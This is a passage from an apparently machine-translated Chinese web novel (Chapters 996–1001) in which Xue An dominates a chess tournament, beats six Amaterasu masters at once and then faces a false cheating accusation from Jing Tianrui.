    Everyone was shocked by Xue An''s actions.


    Jing Tianrui''s eyelids throbbed wildly, and his eyes were full of anger.


    Since childhood, no one has dared to be so disrespectful to himself.


    I must tear this guy to pieces!


    Jing Tianrui screamed frantically in his heart.


    And Xue An''s eyes also showed a killing opportunity.


    Xue An naturally knew what Jing Tian Rui had just tried to target himself.


    But this is not the main thing.


    The main reason is that Xue An has caught a breath through Jing Tianrui''s game just now.


    With this kind of breath, Xue An''s heart gradually showed cold murderous intent.


    At this moment.


    The second round of competition also ended one after another.


    After eliminating half of the players, there were only 30 chess masters left on the chess table, which became empty.


    Zhuge Xuanqing naturally advanced smoothly.


    And Gong Changyue, who was not optimistic at the beginning, actually won two games in a row and advanced to the third round.


    At this time, the chess game has entered a critical moment.


    Another draw began.


    And when everyone opened the chess check, Gong Changyue, who was full of joy, was shocked, and the joy on his face solidified.


    Because the opponent he drew this time was Di Yuanlong!

 Chapter 996： Although 0 million people are going to go, just... do him...

    Di Yuanlong also saw his chess pick at this time, and he couldn''t help but grinned, "Gong Changyue, it seems that we two are really destined! We were opponents last time, and we met again this time!"


    Gong Changyue''s face paled, and a look of withdrawal appeared in his eyes.


    As Di Yuanlong said, in the last chess game.


    At that time, Gong Changyue, who had just demonstrated the ninth dan and followed his family''s elders, met Di Yuanlong in the first round.


    Gong Changyue, who was originally energetic, was tortured by the powerful Di Yuanlong, and eventually ended in failure.


    If that''s all there is to it.


    The key is that the people sent by the Gong family have been wiped out, and no one can advance to the second round.


    Therefore, Di Yuanlong did his utmost sarcasm and dealt a devastating blow to Gong Changyue''s self-esteem.


    This left a deep psychological shadow on Gong Changyue.


    So when he saw that his opponent was Di Yuanlong again today, Gong Changyue couldn''t help feeling a little timid.


    "Why? Afraid? Don''t worry, when I get to the stadium, I will take good care of you and leave you with a good memory." Di Yuanlong licked his lips and said with a ferocious face. .


    Hearing the words, Gong Changyue couldn''t help taking two steps back, his face showing hesitation.


    At this moment.


    A slender and powerful hand patted his shoulder lightly, and then someone said lightly: "Do you know what is most important to be a chess master?"


    Gong Changyue was taken aback, looked up, and saw Xue Anzheng looking at herself with a smile.


    Then he shook his head blankly.


    Xue An raised his eyes and glanced at Di Yuanlong who was on the opposite side, and said lightly: "As a chess master, the most important thing is to have the aura of tens of thousands of people to go!"


    "Though thousands of people are coming..." Gong Changyue muttered to herself.


    Xue An smiled, "To put it bluntly, it''s just two words! Do him!"


    "Do him?"


    "Yes! No matter who the opponent is, no matter how noble and powerful he is, he must be treated with a fearless heart, because if you meet on a narrow road, it is useless to be afraid! It is better to throw everything away and follow. He fights! Do you understand?"


    Hearing what Xue An said, the frailty in Gong Changyue''s eyes gradually faded and replaced by unprecedented perseverance.


    "Thank you Mr. Xue, I understand!"


    At this time, Xue An smiled narrowly, and then leaned into Gong Changyue��s ear and whispered: ��Actually, chasing girls is the same. First of all, you have to have a thick face and a heart that is not afraid of losing. No matter what she thinks, you will chase after you. !understand?"


    Gong Changyue''s face instantly flushed to his heels, and he stammered: "Xue...Mr. Xue, I..."


    Xue An waved his hand, "That Zhuge Xuanqing is obviously unusual for you, otherwise with her character, if you die in front of her, she won''t bother to care about you, so you can take care of the rest!"


    Speaking of this, Xue An paused, "But do you think she likes a man who is timid and doesn''t even dare to let go of a fight, or would she like a man who meets on a narrow road and dares to shine?"


    Sometimes love is so wonderful.


    It can make the timid person brave, and it can make the smart person dull.


    At least Gong Changyue calmed down quickly after hearing Xue An''s words, and his eyes flashed like never before.


    "Mr. Xue, I understand!"


    "Understand what?" Xue An said with a smile.


    Gong Changyue pointed at Di Yuanlong, who had an inexplicable expression on the opposite side, and didn''t know what Xue An and Gong Changyue were muttering, and said coldly, "Boy, I''ll see what you do with you later!"


    This almost made Di Yuanlong think that he had heard it wrong, and immediately became furious.


    "Gong, are you looking for death?"


    Gong Changyue sneered: "You have to die first!"


    "You..." Di Yuanlong was furious.


    Xue An laughed loudly, then patted Gong Changyue''s shoulder vigorously, "Very well, ru Zi can teach!"


    This loud laughter attracted the attention of many people.


    Zhuge Xuanqing looked back strangely.


    She now feels more and more that Mr. Xue, who didn''t know where he emerged, is a bit weird.


    But I can''t tell where it is.


    This filled her with doubts.


    The third round of competition officially began.


    At this point in the game, the competition has completely heated up.


    Those who can pass the first two rounds are not to be underestimated.


    But at this time, it is also obvious that the strength of the chess master is divided.


    Among the 30 chess masters, the Amaterasu Star Territory''s chess masters accounted for more than two-thirds.


    This situation makes all the foreign chess masters look a little ugly.


    Because this shows that the dominance of the Amaterasu Star Territory has become increasingly unstoppable.


    This time Xue An��s opponent was a woman with heavy makeup.


    After the woman sat down, she spoiled Xue An with a pitiful face: "Mr. Xue, the Nujia is very weak in chess. You have to be merciful, and pity the Nujia!"


    This kind of sweet, greasy voice, coupled with the woman''s faintly resentful expression, can also be called charming.


    But Xue An was not moved at all without even raising his head, just said indifferently: "I feel that the chess is superficial, so I can give up and quit now!"


    "You..." The woman obviously didn''t expect Xue An to respond like this.


    "And..." Xue An raised his head and looked at the woman quietly, "The chess game hasn''t started yet, you can''t wait to weave illusions, this...something not so good, right?"


    The woman trembled, and a look of shock appeared in her eyes.


    She didn''t expect Xue An to be able to break her own trick in one word.


    At this time, Xue An lowered his eyes, fiddled with a chess piece in his hand, and said lightly: "Although I don''t want to say it, but my aunt, the thick powder on your face can scratch the wall, so don''t take another bite. Listen. It''s really hard to accept!"


    Hearing this, the whole audience was petrified.


    Then some people couldn''t help but sneered and laughed.


    Because Xue An''s words are simply too bad.


    Especially the old lady..., it is the essence of a poisonous tongue.


    This woman was almost mad, and she tremblingly stretched out her hand and pointed at Xue An, "Boy, you...you wait for me, my mother will teach you how to be a man later!"


    Xue An raised the corner of his mouth, "Okay!"


    The chess game begins.


    This woman had obviously hated Xue An so much that she had a killer move.


    It has to be said that this woman has a strong chess style and aggressive killing, which can be called a strong chess player.


    The only pity is that she met Xue An.


    This time, Xue An''s chess style has changed again, and the madness he had faced with chess lunatics before has disappeared.


    What''s on the chessboard is just a pure kill.


    The woman''s ultimate move is tyrannical, and Xue An''s ultimate move is ten times stronger than hers.


    However, within the time of a stick of incense, Xue An defeated the woman''s slaying steadily, with only parry, but no fight back.

 Chapter 997： Put it to death and live

    This time the audience was amazed again.


    Because although there are only a few games, many people have already seen that Xue An is obviously defeating opponents with the skills and styles that opponents are good at.


    This changeable style of chess is simply incredible and breathtaking.


    But Xue An didn''t pay attention to this at all. At this moment, he even casually played chess with this woman while observing the chess game of the people around him.


    If nothing else, Zhuge Xuanqing could still win.


    That Jing Tian Rui is probably the same.


    Then Xue An focused all his attention on Gong Changyue''s side.


    In fact, the game of Gong Changyue and Di Yuanlong attracted a lot of attention from the moment they were seated.


    Because many people understand the current situation of the Gong family.


    It can be said that if Gong Changyue can''t beat Di Yuanlong and stand out from the third round, then the entire Gong family will slide into the abyss.


    What''s more, the personal grievances between Di Yuanlong and Gong Changyue are well known.


    Many people want to see what the outcome of the game between these two people will be.


    Di Yuanlong took the lead in this chess game, and saw him grinning at Gong Changyue a few times, and then he fell behind.


    "Gong Changyue, I admire your courage very much, but chess can not be won by courage alone, this time I will let you understand what is a strong one!"


    This method of using words to blow the opponent''s morale at the start is very popular among chess masters in the Amaterasu Star Territory.


    Especially when facing opponents who are not so determined, this trick often has a miraculous effect.


    But this time.


    Di Yuanlong made the wrong calculation.


    Seeing Gong Changyue''s solemn expression, he glanced at Di Yuanlong coldly, and silently began to pay back.


    This silent silence caused all Di Yuanlong''s words to fall into the void.


    This made Di Yuanlong''s heart burn with anger, "Why, are you too scared to speak?"


    Gong Changyue looked up at this Di Yuanlong, and said coldly: "The battle for chess depends on cultivation, not your mouth! You can shut up!"


    "You..." Di Yuanlong was furious, but had nothing to do, so he had no choice but to endure the anger and began to fight Gong Changyue.


    Di Yuanlong does have the capital to be proud, because he has been trained extremely rigorously by the Amaterasu Chess Academy since he was a child, so he is better than Gong Changyue whether it is chess skills or spiritual cultivation.


    This gap has not decreased in these three years.


    So when the two players hit the middle game.


    Gong Changyue has shown a left-handed attitude and has fallen into a disadvantage.


    Many people couldn''t help but shook their heads secretly.


    "This Di Yuanlong is still slightly better. It seems that the Gong family, who was once a chess giant, is really not good now. Even the only descendant has fallen into this appearance!" Someone sighed.


    At this time, Di Yuanlong smiled wildly: "Gong Changyue, what about your arrogance just now? Why didn''t you take it out? Don''t you want to do me? Come on!"


    Gong Changyue''s eyes were red, and her whole heart was occupied by a sense of powerlessness.


    He has tried his best, but is he still going to lose in the hands of this guy?


    Gong Xueman in the audience saw his brother''s appearance, and distressed tears rolled in his eyes.


    But at this moment.


    Xue An, who was still playing chess slowly, suddenly sighed, "Sometimes, let it die before you can live!"


    Many people were confused by this, and didn''t understand what it meant.


    Only Gong Changyue trembled, and the eyes that had been occupied by despair suddenly became clear.


    Yes! Why didn''t I expect to die and live afterwards?


    Thinking in her heart, Gong Changyue had fallen in love with her soul.


    There is nothing surprising about this piece, and it can even be said that it is a play chess.


    When Di Yuanlong saw this, he grinned and said, "After playing with Xuanxu for a long time, I was ready to surrender?"


    In this kind of high-level chess game, it is almost impossible to play chess, and once it appears, it means that one party has completely given up. It is nothing more than intending to delay for a while, so that one''s face will not be so ugly.


    Di Yuanlong obviously thought that Gong Changyue had given up resistance, so he started to push forward with a grinning grin.


    Gong Changyue''s chess pieces began to be strangled in large swaths.


    In an instant.


    All the chess pieces that Gong Changyue can become powerful have been strangled.


    Everyone no longer had any hope for Gong Changyue.


    Di Yuanlong smiled, "Boy, today is when your Gong family is ruined!"


    With that said, he fell behind.


    Many people turned their heads and couldn''t bear to look again.


    Because they felt that Di Yuanlong had fallen.


    Gong Changyue is bound to lose.


    But just when everyone gave up hope.


    Gong Changyue said coldly: "This is the end for you, but it is the beginning for me!"


    With that said, Gong Changyue fell amidst the mess of chess.


    This one made many people look surprised.


    "Is this Gong Changyue crazy?"


    "Yes, when this one fell, he was the first to be hurt, but it was his own pawn!"


    really.


    Just after this one fell.


    Gong Changyue''s chess pieces began to go out gradually.


    Di Yuanlong laughed wildly, "It turns out that you have been preparing for such a long time and are planning to commit suicide! It is really an ingenious method..."


    The laughter stopped abruptly.


    Then there was an incredible exclamation from the audience.


    Because on the chessboard, when Gong Changyue��s chess pieces were almost half extinguished, the chess momentum suddenly reversed Di Yuanlong, who had been firmly in the upper hand, had a large number of them in an instant. The chess pieces have become dead chess pieces that cannot be moved.


    Although Gong Changyue''s chess pieces are few, they are connected as a whole to become a living dragon that can advance and retreat.


    "This... how is this possible?" Di Yuanlong couldn''t believe his eyes.


    Gong Changyue looked indifferent, "Now, it''s up to you to settle down!"


    The audience was silent.


    People watched this scene blankly.


    Gong Xueman was even more excited with tears in his eyes, and whispered softly: "Brother, I thought you were old-fashioned before, but I only found out now that you are so handsome!"


    Di Yuanlong was stunned for a long period of time, before he fell into a drop of despair.


    But now it''s the sage of chess, and facing such a situation, it''s not enough.


    Therefore, under Gong Changyue''s few moves, all of Di Yuanlong''s chess pieces were eaten, and he lost a smooth one.


    The audience was amazed.


    Di Yuanlong''s expression was extremely gray, and he sat there completely petrified.


    In any case, he couldn''t understand, why would he, who was bound to win, suddenly become a loser?


    "This...what kind of chess move is this?" Di Yuanlong asked quietly.


    Gong Changyue said indifferently: "This is to put it to death and live afterwards!"


    "Death to death and then live..." Di Yuanlong sat there muttering to himself.


    Gong Changyue stood up, walked up to Xue An, tidied his clothes, bowed and saluted: "Thank you for your kindness, Mr.!"


    The voice just fell.


    Xue An fell, without even looking at the pale-faced woman on the opposite side. He just said lightly, "You lose!"


    Then he turned around and said to Gong Changyue who swept the floor, "Get up, well done!"

 Chapter 998： The war begins

    This tone is like talking to a younger disciple.


    But Gong Changyue didn''t show the slightest anger, but stood there respectfully.


    At this time, others also ended the game one after another.


    As expected, Zhuge Xuanqing won without suspense,


    Jing Tian Rui also crushed his opponent.


    Especially Jing Tianrui, now he is very proud and very happy.


    Because this time, thirty chess masters were eliminated in half, and almost all of the eliminated chess masters were foreign players.


    The only thing left is Zhuge Xuanqing.


    Thinking in his mind, he turned his head and was about to speak, and then he was startled by the scene before him.


    I saw Gong Changyue and Xue An standing together.


    But his subordinate Di Yuanlong sat there with a sullen expression.


    "What''s the matter?" Jing Tianrui asked in astonishment.


    "Big...sir, I lost!" Di Yuanlong said in shame.


    "Lose... lose?" Jing Tianrui widened his eyes.


    "Hmm!" Di Yuanlong nodded.


    Jing Tian Rui took a breath.


    He never expected that his men would lose to Gong Changyue.


    Moreover, the surname Xue seems to have passed the third round and successfully advanced to the next round.


    What the **** is going on?


    Jing Tianrui was so angry that even the look in Xue An''s eyes was not right.


    If he was just a contempt of Xue An before, it is now a naked hatred.


    And the one who feared most in the audience was none other than Cai Yongxin.


    Cai Yongxin, who originally thought that Xue An was just talking big, suddenly turned pale when he saw Xue An defeated his opponent again and advanced to the fourth round.


    After waiting for a while, Cai Yongxin gritted his teeth and talked in a low voice with his father next to him, the head of the Cai family.


    The Patriarch Cai thought for a moment, and finally nodded.


    Zhuge Xuanqing also saw this scene at this time, and his expression became a little complicated for a while.


    But before she could react, Gong Changyue took a deep breath and walked up to smile and said: "Miss Zhuge, I live up to your expectations. I have won Di Yuanlong and successfully advanced to the fourth round. The reputation of the Gong family. It''s saved!"


    After qualifying for the fourth round, it is considered to have won the place in this game, no matter who it is, can not but admit that this is a good result.


    Especially for the Gong family, who had a zero egg last year, this achievement is even more commendable.


    But Zhuge Xuanqing felt a little strange not only because of this, she always felt that the Gong Changyue standing in front of her had changed a lot.


    It seems to have become...more confident.


    But now is not the time to entangle these things, Zhuge Xuanqing glanced at the remaining chess master, the expression on his face became a little solemn, then walked up to Xue An and said in a deep voice.


    "Mr. Xue, there are only three of us outside chess players among the remaining chess players, so I think we must be prepared! Otherwise..."


    Xue An chuckled, "Otherwise what?"


    Zhuge Xuanqing raised his head and looked at Jing Tianrui in the distance with a trace of worry.


    "Otherwise, none of us might be the opponent of this Jingtianrui!"


    In fact, from the moment Jing Tianrui saw Jing Tianrui, Zhuge Xuanqing felt a little unsure in her heart.


    Sedum sharp three years ago, he can still see the details.


    But after three years, she couldn''t see through this person.


    This change made Zhuge Xuanqing awe-inspiring.


    This is why she has no confidence.


    Xue An laughed, laughing wantonly and arrogantly, "Because of this? Well, this guy will leave it to me later!"


    Zhuge Xuanqing was startled, then looked at Xue An with a weird look. After a while, she said coldly, "Do you know what you are talking about?"


    Xue An nodded with a smile, "Of course!"


    Zhuge Xuanqing frowned, and the goodwill he had for Xue An disappeared instantly.


    "I know your strength should be very good, but don''t forget, since this Jing Tian Rui can be called a young chess king in the Amaterasu Star Territory, it must have its own power! Not to mention after three years of retreat and chess Holy guidance, what his strength has become, even I can''t tell, and you..."


    Zhuge Xuanqing didn''t finish what he said, but the meaning was already obvious, alluding to Xue An''s arrogance.


    In this regard, Xue An just smiled indifferently, "I don''t care what he is, I only know...this time the championship is mine, and what I say, no one can change!"


    "You..." Zhuge Xuanqing was furious, but immediately, she forced herself to calm down, then gave Xue An a cold glance, turned and left.


    She thinks Xue An is purely a lunatic.


    Only when you really face him will you understand the terrible Amaterasu Master! Zhuge Xuanqing thought in her heart.


    After a short break, the fourth round is about to begin.


    At this moment.


    Seeing that the Patriarch Cai, who had passed the three rounds, suddenly stood up, walked up to Jing Tianrui, bowed and saluted.


    "Master Jing, my Cai family has admired your strength for a long time, so in this competition, we are willing to go down!"


    boom!


    This time the audience was stunned.


    Some foreign chess players stamped their feet.


    "What a shameless villain!"


    Gong Changyue''s face changed even more with angerCai family, haven''t you thought about the consequences of doing this? "


    Cai Yongxin sneered: "Gong Changyue, we have admired Master Jing for a long time and are willing to give up. Can you manage it?"


    "You..." Gong Changyue looked angry.


    Jing Tianrui laughed loudly, "Okay. Very good! Patriarch Cai really knows current affairs!"


    After this episode passed, the situation in the field became more tense.


    The Cai family''s withdrawal left only fourteen chess masters in the field.


    And after the draw is over.


    There was a violent commotion in the audience.


    Because the opponent Zhuge Xuanqing drew was Jing Tianrui.


    Is this war of the century finally about to begin?


    Many people have a solemn look on their faces.


    Jing Tianrui smiled at Zhuge Xuanqing, "Miss Zhuge, after three years of absence, it is really exciting to be able to play against each other again!"


    Zhuge Xuanqing did not say a word, but sat silently at the chess table and said coldly: "Guess first!"


    The chess game unfolded again.


    But this time, almost everyone''s eyes were on Zhuge Xuanqing''s side.


    Especially all the foreign chess masters, almost raised their hearts to their throats.


    For them, Zhuge Xuanqing is the only pillar left.


    If she loses, Jing Tianrui will no longer be able to stop it.


    In comparison, other people''s battles are irrelevant.


    Xue An''s opponent this time was a cowering man, and his chess style was just as wretched as his people.


    But he is wretched, and Xue An''s chess style is ten times more wretched than him.


    Within a short time, Xue An used this disgusting chess style to beat the chess master even Beibei.


    But when the chess was half-hearted, Xue An suddenly shook his head and sighed.


    "Lost!"

 Chapter 999： 1 player against all

    Xue An''s opponent was taken aback when he heard this.


    Lost?


    What lost?


    Obviously I am about to lose, okay?


    This chess master, known for his insignificant flow, was full of grief and indignation. He never thought that there could be anyone in the world who was even more insignificant than his chess style, and it would make people scratch their hearts.


    The coquettish position and the dumbfounding layout gave this chess master the urge to vomit blood.


    Even he was ready to give up his son and give in.


    What did Xue An say about losing at this time?


    At this moment, I only heard exclamations from the audience.


    "My God, is this the true strength of Master Jing?"


    Because at this moment, the game between Zhuge Xuanqing and Jing Tianrui has reached a fever pitch.


    I saw the black and white two pieces fighting endlessly in the chess game like dragons and pythons. Zhuge Xuanqing often had the upper hand at this moment, but in the next second, she was forced to despair by Jing Tian Rui.


    This ever-changing situation caused everyone in the audience to exclaim constantly.


    But gradually, people with a discerning eye can see that Zhuge Xuanqing has gradually fallen into a disadvantage, although her momentum is still there, the ultimate move is still bitter.


    But facing the layout of Sedum Rui, it still seemed to be incapable, and gradually began to support the left and the right. Obviously, it was only possible to parry.


    "Miss Zhuge is so bad!" Someone shook his head and sighed.


    "It seems that King Tianrui has indeed been under the guidance of Master Chess, because looking at the layout and placement of the pieces, the style of Master Chess is faint!"


    And almost all the foreign chess masters raised their hearts to their throats at this moment, because in their minds, Zhuge Xuanqing was the **** of war against the Amaterasu chess masters. If she fell, the situation would be completely out of control.


    But the way of chess is never shifted by anyone''s will. A weaker strength means a loss. There is no reason to say.


    With the passage of time, Zhuge Xuanqing''s disadvantages have become more obvious, while Jing Tianrui''s offensive has become more and more fierce.


    At this time, even ordinary people can see that Zhuge Xuanqing is about to lose.


    at this time.


    I saw Gong Changyue abandoning her son, "I admit defeat!"


    Although Xue An gave him a jade slip that recorded many ancient chess books, just a few days was not enough to make his strength a qualitative leap.


    In fact, he was very lucky to be able to defeat Di Yuanlong just now. With his strength, it has not been easy to survive until now, so it is not surprising to lose.


    But in this way, Xue An and Zhuge Xuanqing, two foreign chess masters, were left in the audience.


    This situation is extremely severe.


    But it hasn''t waited for everyone to react.


    Seeing Jingtian Rui smiled and said: "Miss Zhuge, it seems that your chess skills are still worse than me!"


    With that said, he fell behind.


    This move instantly complemented his entire chess momentum and formed a lore on Zhuge Xuanqing.


    In an instant, the audience was deadly quiet.


    Everyone turned their eyes to the girl in black with a thin back.


    For half a cup of tea, Zhuge Xuanqing didn''t make any movements, just watching the chess game quietly.


    In the end, she stood up silently, her voice calmly said: "I lost!"


    The audience was silent at first, and then there was a great uproar.


    "Is it still lost in the end? Could it be that no one can stop the Amaterasu chess master?" A foreign chess master said desperately.


    "Even Miss Zhuge has lost. Unless Zhuge Hanzo can come forward, no one can stop Jing Tianrui from being crowned this champion again!" Someone sighed lightly.


    Jing Tianrui smiled triumphantly, just about to say a few beautiful words.


    Zhuge Xuanqing turned around without hesitation and walked down the stage.


    Although she was calm, she was unwilling to be seen from her pale face and the tears that flickered in her black-haired eyes.


    What can you do if you are unwilling?


    If you lose, you lose. The only thing you can do is to come back in three years!


    Everyone in the audience looked at this girl who walked down the chess table with respect. Although she lost, she still won the respect of countless people with her own strength.


    Many foreign chess masters even shook their heads and sighed slightly, all preparing to turn around and leave.


    In their view, the game is over now.


    If you don''t leave next, do you still have to wait to celebrate Amaterasu''s defending champion?


    But at this moment.


    There was a voice full of grief and despair, "Please don''t use this style of play against me again, I give up!"


    Everyone couldn''t help but look up.


    I saw that the chess master who was playing against Xue An had a face of unrequited love, and had already abandoned his son to admit defeat.


    The audience was quiet at first, and then the atmosphere became a little weird.


    "Yeah, isn''t there a foreign chess master on the stage!" Someone said excitedly.


    But more people were silent.


    Because they have no hope of this.


    Zhuge Xuanqing''s eyes also lit up slightly, even if it dimmed again.


    There are still seven people on the stage, except for Xue An, the rest are all Amaterasu chess masters.


    Unless Xue An can guard against the sky, nothing can be changed at all.


    really.


    After seeing Jing Tianrui startled slightly, he gave out a sneer.


    "I almost forgot that you still have this, why? Do you think it will do if you win this game? Hehe, I tell you, it is pure wishful thinking."


    As he said, Jing Tianrui gestured in the field with a smug face, "Did you see it? Now I am all in the field! How are you going to fight me?"


    These clamors spread throughout the audience.


    Many foreign chess masters couldn''t help clenching their fists.


    Many people''s eyes are even more sad and angry.


    But the situation is like this, they can only helplessly bow their heads.


    Because they also understand that Jing Tian Rui is telling the truth.


    Jing Tianrui''s people can kill Xue An even if they fight on wheels.


    Zhuge Xuanqing sighed softly, then turned and continued to walk down the stage.


    But at this moment.


    I saw Xue An looking at the smug Jing Tian Rui with a smile but a smile According to you, I will definitely lose? "


    "Of course! The surname Xue, you give up now, I can give you a decent, otherwise...huh!" Jing Tianrui stood with his hand holding his hand, his face full of arrogance.


    Xue An shook his head and chuckled when he heard the words, "It sounds good, but can it be called decent if others give it decent?"


    "You..." Jing Tianrui was taken aback for a moment, and then planned to speak.


    Xue An waved his hand and said lightly: "I have a problem with this person, that is, I have never learned to admit defeat!"


    Then Xue An raised his hand and pointed to everyone on the chess table, "Since you think that there are more people, you can beat me, then today...I will fight all of you alone!"


    As soon as this statement came out, the audience was silent.


    Zhuge Xuanqing, who was already halfway down, suddenly turned around, looking at Xue An with a full face of disbelief.


    At this moment Xue An smiled faintly, "Let''s go together, I''m in a hurry!"

 Chapter 1000： 6 son lore

    hiss.


    Everyone took a breath of air-conditioning, then looked at Xue An, who was "speaking wildly" with horrified eyes.


    Jing Tianrui couldn''t believe his ears even more. He didn''t react until a long time later, and then looked at each other with the chess masters on the stage, and laughed together.


    The laughter echoed throughout the venue, changing the complexions of many people.


    Xue An remained unmoved, but watched quietly. It wasn''t until a moment later that he said lightly: "Is it enough to laugh?"


    The laughter gradually receded, Jing Tianrui stared at Xue An sullenly, "Boy, no one has ever dared to shout here, I really wonder, what gives you courage?"


    Xue An showed her white teeth and smiled sensibly, "Naturally it is... Liang Jingru~!"


    Jing Tianrui was taken aback, how did he know who Liang Jingru was.


    But immediately, he realized that Xue An was playing tricks on himself, and couldn''t help but roar in anger: "Boy, you found this yourself!"


    The six chessboards are lined up in a row. This kind of formation cannot be said to have no one behind, at least it is unprecedented.


    Zhuge Xuanqing looked at Xue An blankly. She didn''t understand what Xue An was planning to do. Could it be that she really wanted to play against six Amaterasu masters including Jing Tianrui?


    How is this possible?


    Not to mention him, even if his brother Zhuge Hanzo made the shot himself, it is impossible to do this.


    So what does he want to do?


    Zhuge Xuanqing was hesitant, and then walked up to Xue An, pondered for a moment, and said, "Mr. Xue, what are you planning to do?"


    Xue An smiled faintly, "Didn''t you see it? Naturally you are playing against these guys!"


    Zhuge Xuanqing was severely hit, and after a while, she shook her head firmly, "Mr. Xue, if you can listen to my advice, don''t do anything with this group of guys, because even if your chess power is better How to guard against the sky, it will not be the opponent of so many strong people!"


    Zhuge Xuanqing persuaded anxiously.


    Xue An smiled slightly, "Thank you for your kindness, but in my opinion, these guys... are just a group of local chickens and dogs, and cannot be called a strong person at all!"


    After that, Xue An walked past Zhuge Xuanqing and sat in his seat.


    Zhuge Xuanqing was stunned by Xue An''s words. After a long time, she suddenly turned around, planning to say something.


    But at this time Jing Tianrui could not wait to shout: "Guess first!"


    Xue An shook his head, "It''s not worth it to deal with you, I guess first, you just have to be the first!"


    boom.


    These words made the audience even more commotion.


    Some people were simply dumbfounded by Xue An''s series of sorrows.


    One player played against six nine-dan chess masters, and at the same time allowed the opponent to take the lead. How confident is Xue An really?


    Many people shook their heads secretly, thinking that Xue An was either mentally broken or deliberately gaining attention.


    No one thought Xue An would win anyway.


    Jing Tianrui was also completely irritated by Xue An''s attitude at this time. He nodded gloomily, "Very well, since you are looking for death by yourself, then I will fulfill you!"


    Of these six Amaterasu chess masters, the strongest is naturally Sedum.


    But the remaining five people are not weak!


    Anything that comes out is enough to make ordinary people look up.


    Moreover, the styles of these six players are quite different.


    Therefore, as soon as the chess game is opened, there are differences in style between each other.


    In the six games of chess, there are lore sects that make moves or kills, there are treacherous sects that are on the corners, and there are layout sects that move step by step.


    This kind of different opening methods make people look big at a glance, let alone sitting in the game.


    However, Xue An just laughed at this, and then controlled the six chess pieces with divine consciousness at the same time, and returned them.


    Sitting right across from him was naturally Jing Tianrui, and saw him sneer, "Boy, this is just the beginning, remember to wait until you lose, don''t say we forced you!"


    After all, Jing Tian Rui obviously speeded up the speed of the drop!


    With his lead, the other five people also accelerated.


    Xue An did not speak, but looked at this Jing Tianrui with a smile, and then returned it at a faster speed.


    Conveniently, Yishuang started to compete secretly, and the speed of chess was getting faster and faster.


    To the back, I can''t even see the speed of the move, I can only see countless points of light shuttled back and forth in this chessboard.


    The audience was silent, and everyone opened their mouths slightly, staring dumbfounded.


    Even Zhuge Xuanqing''s eyes gradually widened, because she suddenly discovered a terrible fact.


    At the same time, someone trembled: "Did you find out? This Mr. Xue''s style of chess..."


    In fact, there is no need to remind this person, many chess masters have already become extremely solemn.


    Because they were horrified to discover that Xue An was actually playing against these six chess masters in six different styles.


    And each style is exactly the same as what the opponent is good at.


    In other words, Xue An fights against the lore faction with ultimate moves, against the creepy faction with weird combat, and competes against the layout faction for layout.


    And methodically, without the slightest panic.


    This scene is just like the Arabian Nights.


    If they hadn''t seen it with their own eyes, they wouldn''t believe anyone could play chess like this if they were killed.


    The atmosphere gradually became serious.


    The fire of hope has rekindled in the eyes of many foreign chess masters.


    Xue An''s current strength made them feel that perhaps they could really defeat Jing Tian Rui and others.


    Jing Tianrui and the other six people also felt great pressure at this moment.


    Especially Jing Tianrui, he was full of horror to discover that, whether it was the layout or the chess skills, Xue An firmly pressed himself.


    This is impossible!


    I have been advised by Master Chess. How could this guy have such a powerful chess skill?


    Jing Tianrui roared wildly inside, his eyes turned red, and he began to fight Xue An with all his strength.


    But even in the face of such strong pressure, Xue An still has a calm expression on his face, and even yawned boredly, and then shook his head Is that what it is? This is too slow, can you hurry up? "


    These words made Jing Tianrui and the others almost vomit blood.


    "It''s extremely arrogant, today I will let you see how good Amaterasu chess master is!" Jing Tianrui smiled and complemented the secretly laid out chess position.


    But his pride hasn''t held up yet.


    Xue Anyi shook his head happily, "It''s boring, it seems that you don''t have any new tricks, so go to death!"


    Having said that, Xue An fell on the six chessboards.


    This son is like a king over the world, as soon as he enters the chessboard, he immediately launches a lore.


    On the six chessboards, the chess pieces representing the chess master of Amaterasu began to disappear frantically.


    In an instant, the six Jing Tianrui were killed, and there was not even a chess piece left.


    In the eyes of everyone, Jing Tianrui and others, who are incomparably powerful, were killed by Xue An with his six sons!

 Chapter 1001： Suspected cheating chess game confrontation

    ��!


    Death silence.


    Everyone opened their mouths wide, staring dumbfounded.


    Jing Tianrui and others looked down at the chessboard with a bewildered expression, as if they couldn''t believe what was in front of them.


    And Xue An stretched a long waist at this time, then stood up and smiled at the dumbfounded Zhuge Xuanqing.


    "I said, in my eyes, they are not worthy of the word strong."


    "No...this is impossible, this is absolutely impossible!" Jing Tianrui suddenly raised his head and shouted at Xue An.


    "I am the young chess king personally directed by Master Chess. How could I be defeated by you? You must be cheating, yes, absolutely!"


    Jing Tianrui raised his hand and pointed at Xue An, and said with a bitter expression: "Guard, catch me who cheated with despicable means!"


    This incident caused an uproar in the audience.


    Many chess masters are angry, especially those outside chess masters, almost all of them are angry.


    You must know that Xue An was just in front of everyone, fighting against the six Jingtianrui.


    countless pairs of eyes are watching, how does he cheat?


    Many people understand that this is nothing more than the fact that Jing Tian Rui is unable to accept his failure and deliberately makes an excuse to cover it up.


    At this time, countless guards of chess academy had already boarded the chess table and surrounded Xue An.


    Gong Changyue did not hesitate to stand in front of Xue An, and said in a deep voice: "I see who of you dare to come over?"


    Zhuge Xuanqing''s expression is also a bit complicated, but in the end she also took a step forward, blocking Xue An behind her, and then said coldly: "Jing Tianrui, what do you want to do?"


    Jingtian smiled gloomily and said: "Zhuge Xuanqing, this matter has nothing to do with you, I advise you to be less nostalgic, this guy cheated in a chess tournament, of course I want to catch him back!"


    "Cheating? How did you prove that Mr. Xue cheated? Just now everyone was watching, you are just talking nonsense!" Gong Changyue angered.


    Jing Tianrui sneered, "If you didn''t cheat, when you catch him back to the chess academy, and hand him to the elders for inspection, it will naturally be clear! Now what you said is not counted!"


    "You..." Gong Changyue was extremely angry.


    This Jingtian Rui clearly wanted to cheat, and took it back to the chess academy and gave it to the elders for inspection?


    Who doesn��t know that the chess house belongs to the Amaterasu Star Territory, isn��t it a sheep��s mouth?


    At this moment, Xue An patted Gong Changyue on the shoulder, motioned him not to speak, then raised his head and smiled at Jing Tianrui on the opposite side.


    "You want to catch me back to the chess house?"


    Jing Tianrui nodded sullenly, "Cheating in the competition, I naturally want to catch you back! Xue An, if you have no ghosts in your heart, just follow me, otherwise..."


    ''S words caused a commotion in the audience, and many chess masters showed contempt.


    Because this is obviously using various reasons to blackmail Xue An.


    But Xue An didn��t feel any gaffe in the face of all this. Instead, he smiled faintly, "It sounds...it makes sense!"


    "Mr. Xue..." Gong Changyue was anxious.


